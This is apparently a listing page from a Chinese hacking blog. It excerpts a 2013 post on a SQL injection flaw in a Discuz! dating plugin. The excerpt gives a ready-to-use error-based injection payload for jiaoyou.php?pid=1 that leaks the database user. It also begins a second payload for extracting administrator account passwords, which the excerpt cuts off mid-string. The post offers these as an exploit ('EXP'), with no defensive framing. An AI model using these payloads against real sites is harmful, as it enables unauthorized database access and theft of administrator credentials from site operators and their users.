记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Discuz交友插件漏洞附EXP

DZ交友插件漏洞jiaoyou.php?pid=1有的注入需要登录,注入代码如下:' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or @`'` and '1'='1爆管理账号密码方法一:' or @`'` and(select 1 from(select count(*),concat((select (select (S
发布时间:2013-04-23 17:30 | 阅读:134369 | 评论:0 | 标签:Vulndb Discuz!交友插件漏洞 Discuz漏洞 exp 漏洞

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云